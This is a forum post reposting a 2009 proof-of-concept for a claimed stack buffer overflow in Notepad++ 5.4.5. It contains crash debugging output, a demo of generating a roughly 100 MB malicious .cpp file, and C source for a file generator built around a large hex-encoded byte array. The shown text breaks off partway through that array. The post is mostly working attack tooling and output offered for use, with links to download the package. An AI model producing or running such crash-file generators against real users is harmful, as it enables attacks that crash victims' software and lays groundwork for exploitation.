Jump to content
fl0 fl0w

(0day)Notepad++ 5.4.5 Local .C/CPP Stack Buffer Overflow POC

Recommended Posts

Asta e important si pentru voi.

/*

**************************************************************

(0day)Notepad++ 5.4.5 Local .C/CPP Stack Buffer Overflow POC*

by fl0 fl0w *

**************************************************************

*/

/*****************************************************************************************************

LATEST FIXES *

Notepad++ v5.4.5 fixed bugs (from v5.4.4) : *

1. Fix plugins shortcuts not working bug. *

2. Fix the tooltip on toolbar display bug for the plugins icons. *

3. Fix a crash that was occurring when searching in files from a deep path. *

4. Fix a crash issue (Unicode binary) while close Notepad++ with an RC file opened under Chinese Xp.*

5. Fix Pascal and Scheme syntax highlighting problem (fixes in styles.xml). *

6. Add SQL folding capacity. *

******************************************************************************************************

*/

/***************************************************************************

This is the latest version of notepad++. *

As you can see no buffer overflow bug is mentioned to exist or to be fixed.*

****************************************************************************

*/

/***********************************************************

DEBUGGING INFORMATION *

CPU REGISTERS *

EAX 00000000 *

ECX 003B74C4 *

EDX 00000000 *

EBX 0999A999 *

ESP 000E0764 *

EBP 000E0834 *

ESI 00B3D760 *

EDI 003B74B0 *

EIP 1000A258 SciLexer.1000A258 *

*

Function SciLexer() is causing this bug. *

Let's look at the assembly instructions: *

*

ASSEMBLY INSTRUCTIONS *

1000A258 8910 MOV DWORD PTR DS:[EAX],EDX *

1000A25A 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] *

1000A25D 8B80 60090000 MOV EAX,DWORD PTR DS:[EAX+960] *

1000A263 8B80 B0010000 MOV EAX,DWORD PTR DS:[EAX+1B0] *

1000A269 0FAF81 24060000 IMUL EAX,DWORD PTR DS:[ECX+624]*

1000A270 2055 FF AND BYTE PTR SS:[EBP-1],DL *

1000A273 8945 C0 MOV DWORD PTR SS:[EBP-40],EAX *

1000A276 8B41 10 MOV EAX,DWORD PTR DS:[ECX+10] *

1000A279 05 6C0B0000 ADD EAX,0B6C *

1000A27E 8945 CC MOV DWORD PTR SS:[EBP-34],EAX *

1000A281 33C0 XOR EAX,EAX *

1000A283 6A 1F PUSH 1F *

1000A285 59 POP ECX *

*

EDX=00000000 *

DS:[00000000]=??? *

************************************************************

*/

/*************************************************************

STACK *

000BFEB4 004956A0 notepad+.004956A0 *

000BFEB8 F74B257B *

000BFEBC FFFFFFFE *

000BFEC0 58585858 *

000BFEC4 58585858 *

000BFEC8 58585858q *

000BFECC 58585858 *

000BFED0 58585858 *

000BFED4 58585858 *

000BFED8 58585858 *

000BFEDC 58585858 *

000BFEE0 58585858 *

000BFEE4 58585858 *

000BFEE8 58585858 *

000BFEEC 58585858 *

000BFEF4 58585858 *

000BFEF8 58585858 *

000BFEFC 58585858 *

000BFF00 58585858 *

000BFF04 58585858 *

000BFF0C 58585858 *

000BFF10 58585858 *

….................................. *

Tested succesfull on Microsoft Windows XP Service Pack 3. *

To test the exploit(notepad++.c) you need to compile it *

with cygwin console or linux environment. *

If you want to test the executable(test.exe)you need to *

copy the cygwin1.dll in the same folder as the executable. *

Notepad++ 5.4.5 crashes in a STACK BUFFER OVERFLOW when a *

specialy crafted .C/CPP file is opened.You can right click *

the file and select ->edit with notepad++ or just click open.*

Compiled with cygwin console *

For more debugging info (screenshots) *

Download the files from *

RapidShare: 1-CLICK Web hosting - Easy Filehosting *

2shared - download notepad++ POC.zip

Download notepad++ POC.zip *

Download notepad++ POC zip

GigaSize.com: Host and Share your Files *

**************************************************************/

/*****************************************************************************************************************************

DEMO *

I'm in the cygwin console *

$gcc notepad++.c -o notepad *

*

Now I want to run the .exe from *

CMD console so I copy the cygwin1.dll *

in my folder and run it. *

*

C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir *

Volume in drive C is System *

Volume Serial Number is A06E-304B *

*

Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC *

*

2009/09/16 01:13 PM <DIR> . *

2009/09/16 01:13 PM <DIR> .. *

2008/06/12 08:35 PM 1,872,884 cygwin1.dll *

2009/09/14 03:09 PM 100,004,279 fffile.cpp *

2009/09/16 01:13 PM 18,042 note.exe *

2009/09/14 01:05 AM 12,317 NOTEPAD++ PLEASE READ.odt *

2009/09/16 01:11 PM 36,923 notepad++.c *

2009/09/11 01:40 PM 192,747 screen1.JPG *

2009/09/11 01:44 PM 224,376 screen2.JPG *

2009/09/12 08:37 PM 443,304 screen3.JPG *

8 File(s) 102,804,872 bytes *

2 Dir(s) 4,864,954,368 bytes free *

*

C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe *

************************************************* *

Notepad++ 5.4.5 Stack Buffer Overflow *

Usage is:note [option1] filename *

CREDITS:fl0 fl0w *

This POC is PRIVATE *

************************************************* *

Example: *

*

-f FILE.c/cpp *

*

C:\Documents and Settings\Stefan\Desktop\notepad++ POC>note.exe -f test.cpp *

FILE DONE ! *

path/location of the crafted file is: /cygdrive/c/Documents and Settings/Stefan/ *

Desktop/notepad++ POC/ *

*

C:\Documents and Settings\Stefan\Desktop\notepad++ POC>dir *

Volume in drive C is System *

Volume Serial Number is A06E-304B *

*

Directory of C:\Documents and Settings\Stefan\Desktop\notepad++ POC *

*

2009/09/16 01:18 PM <DIR> . *

2009/09/16 01:18 PM <DIR> .. *

2008/06/12 08:35 PM 1,872,884 cygwin1.dll *

2009/09/14 03:09 PM 100,004,279 fffile.cpp *

2009/09/16 01:13 PM 18,042 note.exe *

2009/09/14 01:05 AM 12,317 NOTEPAD++ PLEASE READ.odt *

2009/09/16 01:11 PM 36,923 notepad++.c *

2009/09/11 01:40 PM 192,747 screen1.JPG *

2009/09/11 01:44 PM 224,376 screen2.JPG *

2009/09/12 08:37 PM 443,304 screen3.JPG *

2009/09/16 01:18 PM 100,004,279 test.cpp <--------------------------here you go now open it with notepad++ 5.4.5 *

9 File(s) 202,809,151 bytes *

2 Dir(s) 4,746,797,056 bytes free *

******************************************************************************************************************************

*/

#include "stdio.h"

#include "string.h"

#include "windows.h"

#include "getopt.h"

#include "stdint.h"

#include <fcntl.h>

#include <io.h>

#define R 0x10

#define RR 0x1F

#define SS 0x80

void CLS(int num_lines)

{

int n;

for(n = 0; n < num_lines; n++)

puts("");

}

char checksum(char data[10000], char len)

{

uint32_t sum1 = 0xffff, sum2 = 0xffff;

while (len) {

unsigned tlen = len > 360 ? 360 : len;

len -= tlen;

do {

sum1 += *data++;

sum2 += sum1;

} while (--tlen);

sum1 = (sum1 & 0xffff) + (sum1 >> 16);

sum2 = (sum2 & 0xffff) + (sum2 >> 16);

}

sum1 = (sum1 & 0xffff) + (sum1 >> 16);

sum2 = (sum2 & 0xffff) + (sum2 >> 16);

return sum2 << 16 | sum1;

}

void Buildfile(char *fname)

{

char V[] =

{

0x20, 0x20, 0x20, 0x20, 0x23, 0x69, 0x6E, 0x63, 0x6C, 0x75, 0x64, 0x65, 0x20, 0x3C, 0x73, 0x74,

0x64, 0x69, 0x6F, 0x2E, 0x68, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x69, 0x6E, 0x63,

0x6C, 0x75, 0x64, 0x65, 0x20, 0x3C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x2E, 0x68, 0x3E,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x69, 0x6E, 0x63, 0x6C, 0x75, 0x64, 0x65, 0x20, 0x3C,

0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x68, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23,

0x69, 0x6E, 0x63, 0x6C, 0x75, 0x64, 0x65, 0x20, 0x3C, 0x67, 0x65, 0x74, 0x6F, 0x70, 0x74, 0x2E,

0x68, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x69, 0x6E, 0x63, 0x6C, 0x75, 0x64, 0x65,

0x20, 0x3C, 0x73, 0x74, 0x64, 0x69, 0x6E, 0x74, 0x2E, 0x68, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x74, 0x79, 0x70, 0x65, 0x64, 0x65, 0x66, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x20,

0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69,

0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x68, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x75,

0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x48, 0x54, 0x4D, 0x4C, 0x3B, 0x0D, 0x0A,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x74, 0x79, 0x70, 0x65, 0x64, 0x65, 0x66, 0x20, 0x73, 0x74,

0x72, 0x75, 0x63, 0x74, 0x20, 0x4D, 0x69, 0x64, 0x64, 0x6C, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x68, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x65, 0x3B, 0x20,

0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74,

0x20, 0x73, 0x61, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x75,

0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x09, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x09, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x7D, 0x48, 0x45, 0x41, 0x44, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x74, 0x79, 0x70, 0x65, 0x64, 0x65, 0x66, 0x20, 0x73, 0x74,

0x72, 0x75, 0x63, 0x74, 0x20, 0x45, 0x6E, 0x64, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x62, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x6F, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x44, 0x3B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x38, 0x5F, 0x74, 0x20, 0x73, 0x79,

0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x42, 0x4F,

0x44, 0x59, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x64, 0x65, 0x66, 0x69, 0x6E, 0x65,

0x20, 0x42, 0x55, 0x46, 0x46, 0x45, 0x52, 0x53, 0x49, 0x5A, 0x45, 0x20, 0x20, 0x30, 0x78, 0x31,

0x41, 0x30, 0x41, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x64, 0x65, 0x66, 0x69, 0x6E, 0x65,

0x20, 0x46, 0x49, 0x4C, 0x45, 0x53, 0x49, 0x5A, 0x45, 0x20, 0x20, 0x20, 0x20, 0x32, 0x39, 0x41,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x23, 0x64, 0x65, 0x66, 0x69, 0x6E, 0x65, 0x20, 0x53, 0x52,

0x43, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x3C, 0x69, 0x6D, 0x67, 0x20,

0x73, 0x72, 0x63, 0x3D, 0x22, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20,

0x46, 0x62, 0x75, 0x69, 0x6C, 0x64, 0x28, 0x63, 0x68, 0x61, 0x72, 0x20, 0x2A, 0x66, 0x6E, 0x61,

0x6D, 0x65, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x20, 0x48, 0x54, 0x4D, 0x4C, 0x20,

0x2A, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x48,

0x45, 0x41, 0x44, 0x20, 0x2A, 0x68, 0x65, 0x5F, 0x61, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x42, 0x4F, 0x44, 0x59, 0x20, 0x2A, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x68, 0x61, 0x72, 0x20, 0x2A, 0x6D, 0x65, 0x6D,

0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F,

0x2F, 0x22, 0x5C, 0x78, 0x34, 0x38, 0x5C, 0x78, 0x35, 0x34, 0x5C, 0x78, 0x34, 0x44, 0x5C, 0x78,

0x34, 0x43, 0x22, 0x20, 0x20, 0x2D, 0x68, 0x74, 0x6D, 0x6C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x20, 0x3D, 0x20, 0x28, 0x48, 0x54, 0x4D, 0x4C, 0x2A,

0x29, 0x6D, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x28, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x48,

0x54, 0x4D, 0x4C, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65,

0x5F, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x28, 0x48, 0x45, 0x41, 0x44, 0x2A, 0x29, 0x6D, 0x61, 0x6C,

0x6C, 0x6F, 0x63, 0x28, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x48, 0x45, 0x41, 0x44, 0x29,

0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x20,

0x3D, 0x20, 0x28, 0x42, 0x4F, 0x44, 0x59, 0x2A, 0x29, 0x6D, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x28,

0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x42, 0x4F, 0x44, 0x59, 0x29, 0x29, 0x3B, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20,

0x3D, 0x20, 0x28, 0x63, 0x68, 0x61, 0x72, 0x2A, 0x29, 0x6D, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x28,

0x42, 0x55, 0x46, 0x46, 0x45, 0x52, 0x53, 0x49, 0x5A, 0x45, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x28, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x20, 0x3D, 0x3D, 0x20,

0x4E, 0x55, 0x4C, 0x4C, 0x20, 0x7C, 0x7C, 0x20, 0x68, 0x65, 0x5F, 0x61, 0x64, 0x20, 0x3D, 0x3D,

0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x20, 0x7C, 0x7C, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x20, 0x3D,

0x3D, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x20, 0x7C, 0x7C, 0x20, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66,

0x66, 0x65, 0x72, 0x20, 0x3D, 0x3D, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x29, 0x20, 0x7B, 0x20, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x78, 0x69, 0x74, 0x28, 0x2D, 0x31, 0x29, 0x3B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x7D, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x2D,

0x3E, 0x73, 0x68, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x34, 0x38, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x2D, 0x3E, 0x73, 0x74, 0x20, 0x3D, 0x20, 0x30,

0x78, 0x35, 0x34, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x74, 0x5F, 0x6D,

0x6C, 0x2D, 0x3E, 0x73, 0x6D, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x34, 0x44, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x2D, 0x3E, 0x73, 0x6C, 0x20, 0x3D,

0x20, 0x30, 0x78, 0x34, 0x43, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F,

0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x48, 0x45, 0x41, 0x44, 0x20, 0x22,

0x5C, 0x78, 0x34, 0x38, 0x5C, 0x78, 0x34, 0x35, 0x5C, 0x78, 0x34, 0x31, 0x5C, 0x78, 0x34, 0x34,

0x22, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x5F, 0x61, 0x64, 0x2D, 0x3E,

0x73, 0x68, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x34, 0x38, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x68, 0x65, 0x5F, 0x61, 0x64, 0x2D, 0x3E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78,

0x34, 0x35, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x5F, 0x61, 0x64,

0x2D, 0x3E, 0x73, 0x61, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x34, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x5F, 0x61, 0x64, 0x2D, 0x3E, 0x73, 0x64, 0x20, 0x3D, 0x20,

0x30, 0x78, 0x34, 0x34, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x74,

0x68, 0x69, 0x65, 0x72, 0x64, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x22, 0x5C, 0x78, 0x34, 0x32, 0x5C, 0x78,

0x34, 0x46, 0x5C, 0x78, 0x34, 0x34, 0x5C, 0x78, 0x35, 0x39, 0x22, 0x0D, 0x0A, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x2D, 0x3E, 0x73, 0x62, 0x20, 0x3D, 0x20, 0x30,

0x78, 0x34, 0x32, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x5F, 0x64,

0x79, 0x2D, 0x3E, 0x73, 0x6F, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x34, 0x46, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x5F, 0x64, 0x79, 0x2D, 0x3E, 0x73, 0x44, 0x20, 0x3D,

0x20, 0x30, 0x78, 0x34, 0x34, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F,

0x5F, 0x64, 0x79, 0x2D, 0x3E, 0x73, 0x79, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x35, 0x39, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x46, 0x49, 0x4C, 0x45, 0x20, 0x2A, 0x66, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x20, 0x3D, 0x20, 0x66, 0x6F, 0x70, 0x65, 0x6E,

0x28, 0x66, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x22, 0x77, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x28, 0x20, 0x66, 0x20, 0x3D, 0x3D, 0x20, 0x4E, 0x55,

0x4C, 0x4C, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x78, 0x69,

0x74, 0x28, 0x2D, 0x31, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x33, 0x32, 0x5F, 0x74, 0x20, 0x6F,

0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D,

0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2C, 0x20, 0x22, 0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B,

0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74,

0x20, 0x2B, 0x3D, 0x20, 0x31, 0x3B, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72,

0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x2C, 0x20,

0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x29, 0x29, 0x3B, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D,

0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x74, 0x5F, 0x6D, 0x6C, 0x29, 0x3B, 0x20,

0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63,

0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66,

0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x20, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20,

0x31, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D,

0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B,

0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B,

0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B,

0x3D, 0x20, 0x31, 0x3B, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A,

0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D,

0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x68,

0x65, 0x5F, 0x61, 0x64, 0x2C, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x65, 0x5F,

0x61, 0x64, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66,

0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x68, 0x65,

0x5F, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D,

0x63, 0x70, 0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66,

0x66, 0x73, 0x65, 0x74, 0x2C, 0x20, 0x22, 0x3E, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x20, 0x0D,

0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x20, 0x2B, 0x3D,

0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x6D, 0x63, 0x70,

0x79, 0x28, 0x6D, 0x65, 0x6D, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2B, 0x6F, 0x66, 0x66, 0x73,

0x65, 0x74, 0x2C, 0x20, 0x22, 0x3C, 0x22, 0x2C, 0x20, 0x31, 0x29, 0x3B, 0x20, 0x0D, 0x0A, 0x20,

